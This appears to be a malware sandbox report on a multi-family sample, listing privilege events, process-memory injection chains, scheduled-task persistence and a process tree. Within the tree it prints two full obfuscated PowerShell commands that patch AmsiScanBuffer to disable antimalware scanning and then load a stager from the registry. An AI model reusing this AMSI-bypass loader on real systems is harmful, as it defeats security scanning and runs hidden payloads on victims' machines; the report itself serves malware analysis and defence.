Token: SeDebugPrivilege	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeShutdownPrivilege	3804	chrome.exe
Token: SeCreatePagefilePrivilege	3804	chrome.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeShutdownPrivilege	4556	powercfg.exe
Token: SeCreatePagefilePrivilege	4556	powercfg.exe
Token: SeShutdownPrivilege	2300	powercfg.exe
Token: SeCreatePagefilePrivilege	2300	powercfg.exe
Token: SeShutdownPrivilege	5340	powercfg.exe
Token: SeCreatePagefilePrivilege	5340	powercfg.exe
Token: SeShutdownPrivilege	4164	powercfg.exe
Token: SeCreatePagefilePrivilege	4164	powercfg.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	2280	powershell.EXE
Token: SeDebugPrivilege	2280	powershell.EXE
Token: SeDebugPrivilege	3044	dllhost.exe
Token: SeShutdownPrivilege	6044	powercfg.exe
Token: SeCreatePagefilePrivilege	6044	powercfg.exe
Token: SeShutdownPrivilege	440	powercfg.exe
Token: SeCreatePagefilePrivilege	440	powercfg.exe
Token: SeShutdownPrivilege	5312	powercfg.exe
Token: SeCreatePagefilePrivilege	5312	powercfg.exe
Token: SeShutdownPrivilege	2908	powercfg.exe
Token: SeCreatePagefilePrivilege	2908	powercfg.exe
Token: SeLockMemoryPrivilege	3972	dialer.exe
Token: SeDebugPrivilege	2588	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe
Token: SeShutdownPrivilege	2688	svchost.exe
Token: SeSystemEnvironmentPrivilege	2688	svchost.exe
Token: SeUndockPrivilege	2688	svchost.exe
Token: SeManageVolumePrivilege	2688	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
2632	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6024 wrote to memory of 3804	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	80
PID 3804 wrote to memory of 656	3804	chrome.exe	81
PID 3804 wrote to memory of 988	3804	chrome.exe	82
PID 3804 wrote to memory of 4040	3804	chrome.exe	83
PID 3804 wrote to memory of 988	3804	chrome.exe	82
PID 3804 wrote to memory of 1560	3804	chrome.exe	84
PID 3804 wrote to memory of 1560	3804	chrome.exe	84
PID 3804 wrote to memory of 240	3804	chrome.exe	86
PID 3804 wrote to memory of 240	3804	chrome.exe	86
PID 3804 wrote to memory of 840	3804	chrome.exe	87
PID 3804 wrote to memory of 840	3804	chrome.exe	87
PID 3804 wrote to memory of 4276	3804	chrome.exe	89
PID 3804 wrote to memory of 4276	3804	chrome.exe	89
PID 3804 wrote to memory of 5100	3804	chrome.exe	90
PID 6024 wrote to memory of 2632	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	92
PID 2632 wrote to memory of 5736	2632	msedge.exe	93
PID 2632 wrote to memory of 1860	2632	msedge.exe	94
PID 2632 wrote to memory of 1860	2632	msedge.exe	94
PID 2632 wrote to memory of 1860	2632	msedge.exe	94
PID 2632 wrote to memory of 1092	2632	msedge.exe	95
PID 2632 wrote to memory of 3400	2632	msedge.exe	96
PID 2632 wrote to memory of 3400	2632	msedge.exe	96
PID 2632 wrote to memory of 3300	2632	msedge.exe	98
PID 2632 wrote to memory of 5908	2632	msedge.exe	99
PID 2632 wrote to memory of 3300	2632	msedge.exe	98
PID 2632 wrote to memory of 3300	2632	msedge.exe	98
PID 2632 wrote to memory of 5908	2632	msedge.exe	99
PID 2632 wrote to memory of 5908	2632	msedge.exe	99
PID 2632 wrote to memory of 5012	2632	msedge.exe	100
PID 2632 wrote to memory of 5012	2632	msedge.exe	100
PID 2632 wrote to memory of 5464	2632	msedge.exe	101
PID 2632 wrote to memory of 5464	2632	msedge.exe	101
PID 2632 wrote to memory of 5252	2632	msedge.exe	103
PID 2632 wrote to memory of 2104	2632	msedge.exe	104
PID 5252 wrote to memory of 4304	5252	msedge.exe	105
PID 2632 wrote to memory of 3348	2632	msedge.exe	106
PID 3348 wrote to memory of 4556	3348	msedge.exe	107
PID 6024 wrote to memory of 2060	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	110
PID 2060 wrote to memory of 4940	2060	cmd.exe	112
PID 4840 wrote to memory of 3140	4840	cmd.exe	119
PID 4940 wrote to memory of 2620	4940	60443a91.exe	136
PID 4940 wrote to memory of 2620	4940	60443a91.exe	136
PID 4940 wrote to memory of 2620	4940	60443a91.exe	136
PID 4940 wrote to memory of 2620	4940	60443a91.exe	136
PID 4940 wrote to memory of 2620	4940	60443a91.exe	136
PID 2280 wrote to memory of 3044	2280	powershell.EXE	150
PID 2280 wrote to memory of 3044	2280	powershell.EXE	150
PID 2280 wrote to memory of 3044	2280	powershell.EXE	150
PID 2280 wrote to memory of 3044	2280	powershell.EXE	150
PID 2280 wrote to memory of 3044	2280	powershell.EXE	150
PID 3044 wrote to memory of 644	3044	dllhost.exe	5
PID 3044 wrote to memory of 692	3044	dllhost.exe	7
PID 3044 wrote to memory of 904	3044	dllhost.exe	11
PID 3044 wrote to memory of 404	3044	dllhost.exe	13
PID 3044 wrote to memory of 724	3044	dllhost.exe	14
PID 3044 wrote to memory of 1080	3044	dllhost.exe	16
PID 3044 wrote to memory of 1180	3044	dllhost.exe	18
PID 3044 wrote to memory of 1192	3044	dllhost.exe	19
PID 3044 wrote to memory of 1208	3044	dllhost.exe	20
PID 3044 wrote to memory of 1216	3044	dllhost.exe	21
PID 3044 wrote to memory of 1308	3044	dllhost.exe	22
PID 3044 wrote to memory of 1348	3044	dllhost.exe	23
PID 3044 wrote to memory of 1396	3044	dllhost.exe	24
PID 3044 wrote to memory of 1432	3044	dllhost.exe	25

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:724
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a6d64db7-882d-4ba0-9474-cdad1fbe7838}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3044
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c2a7f250-a4df-439e-a3ab-b1214bf3bcfe}
  2⤵
  PID:2508

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-dd36591e-1925-465b-a8dc-37933ee6dfaf -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6e369b9a-df17-4274-b4e2-d7d9f60d99f7 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-58a14d1a-d278-4b7f-9ddc-5c81777fc1e2 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ac0c912c-b6fc-4807-9c39-3a4116badcee -LifetimeId:e5f4fb04-e926-41da-aade-0be62a25d083 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:rqRHWUJgSlxm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pqoiguvxmdOcvm,[Parameter(Position=1)][Type]$HjfwTJlxCy)$lyuDQumPwpu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+'D'+[Char](101)+'le'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+'y'+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+'y'+[Char](112)+'e','C'+'l'+'a'+[Char](115)+''+'s'+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'Se'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+'s'+''+'i'+'C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$lyuDQumPwpu.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+'a'+'l'+''+[Char](78)+'am'+[Char](101)+''+','+''+'H'+'ide'+[Char](66)+'y'+'S'+''+[Char](105)+'g,'+'P'+''+'u'+'bli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$pqoiguvxmdOcvm).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$lyuDQumPwpu.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+'t,'+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$HjfwTJlxCy,$pqoiguvxmdOcvm).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $lyuDQumPwpu.CreateType();}$zAfBSIohVpuJt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.d'+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'Un'+[Char](115)+'a'+'f'+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+'e'+''+[Char](116)+'ho'+[Char](100)+'s');$HQkQrtSOjpOMNN=$zAfBSIohVpuJt.GetMethod('Ge'+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+'ress',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'bl'+[Char](105)+'c'+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JkMlxqowDLfVozEdDiQ=rqRHWUJgSlxm @([String])([IntPtr]);$qsHtrIdvWGdQRqisagkAzB=rqRHWUJgSlxm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FpzRbwIYqEF=$zAfBSIohVpuJt.GetMethod(''+[Char](71)+''+'e'+'t'+'M'+''+[Char](111)+''+[Char](100)+'ul'+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+'e'+'l'+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$fRbQBSTgTGrcgo=$HQkQrtSOjpOMNN.Invoke($Null,@([Object]$FpzRbwIYqEF,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'ibra'+'r'+''+[Char](121)+''+[Char](65)+'')));$jddyJZjFicQMEnLnq=$HQkQrtSOjpOMNN.Invoke($Null,@([Object]$FpzRbwIYqEF,[Object](''+[Char](86)+'i'+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+'o'+''+[Char](116)+'ect')));$WnUwVgP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fRbQBSTgTGrcgo,$JkMlxqowDLfVozEdDiQ).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$SsAwvOrdSAsmtUtzR=$HQkQrtSOjpOMNN.Invoke($Null,@([Object]$WnUwVgP,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$lsxspNOrfB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jddyJZjFicQMEnLnq,$qsHtrIdvWGdQRqisagkAzB).Invoke($SsAwvOrdSAsmtUtzR,[uint32]8,4,[ref]$lsxspNOrfB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SsAwvOrdSAsmtUtzR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jddyJZjFicQMEnLnq,$qsHtrIdvWGdQRqisagkAzB).Invoke($SsAwvOrdSAsmtUtzR,[uint32]8,0x20,[ref]$lsxspNOrfB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('di'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CHxsdSAynKXo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$crBTeSMCprEsKc,[Parameter(Position=1)][Type]$cjNAvPinap)$LDkrnAAYRNe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'flect'+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+'du'+[Char](108)+''+'e'+'',$False).DefineType('My'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+'a'+'ss,'+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$LDkrnAAYRNe.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pec'+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+','+'Pu'+'b'+'lic',[Reflection.CallingConventions]::Standard,$crBTeSMCprEsKc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$LDkrnAAYRNe.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g,'+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$cjNAvPinap,$crBTeSMCprEsKc).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'ime'+','+''+'M'+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $LDkrnAAYRNe.CreateType();}$fPvAIKZYRpRzS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'te'+[Char](109)+''+'.'+''+'d'+''+'l'+'l')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+'Un'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+'o'+''+'d'+''+[Char](115)+'');$GYhpGTYhHzyBXt=$fPvAIKZYRpRzS.GetMethod(''+[Char](71)+'e'+'t'+'P'+[Char](114)+''+[Char](111)+'cA'+'d'+'d'+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tUCGAEhMPWcHCYkCwnZ=CHxsdSAynKXo @([String])([IntPtr]);$wLmOPyGFmIFsWmMSeBQbQf=CHxsdSAynKXo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ijPmOFXHwDw=$fPvAIKZYRpRzS.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Mod'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'le').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+'l3'+'2'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$KmEmnvpUqwlraE=$GYhpGTYhHzyBXt.Invoke($Null,@([Object]$ijPmOFXHwDw,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+'ib'+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$bbtgzEDksMXZCJVtD=$GYhpGTYhHzyBXt.Invoke($Null,@([Object]$ijPmOFXHwDw,[Object]('Vi'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'ct')));$plfgvqY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KmEmnvpUqwlraE,$tUCGAEhMPWcHCYkCwnZ).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$KHzjplxzPcVhjDjro=$GYhpGTYhHzyBXt.Invoke($Null,@([Object]$plfgvqY,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+'f'+'er')));$WzVzjdEdyS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bbtgzEDksMXZCJVtD,$wLmOPyGFmIFsWmMSeBQbQf).Invoke($KHzjplxzPcVhjDjro,[uint32]8,4,[ref]$WzVzjdEdyS);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KHzjplxzPcVhjDjro,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bbtgzEDksMXZCJVtD,$wLmOPyGFmIFsWmMSeBQbQf).Invoke($KHzjplxzPcVhjDjro,[uint32]8,0x20,[ref]$WzVzjdEdyS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+'ia'+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1484
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2264

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:612

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
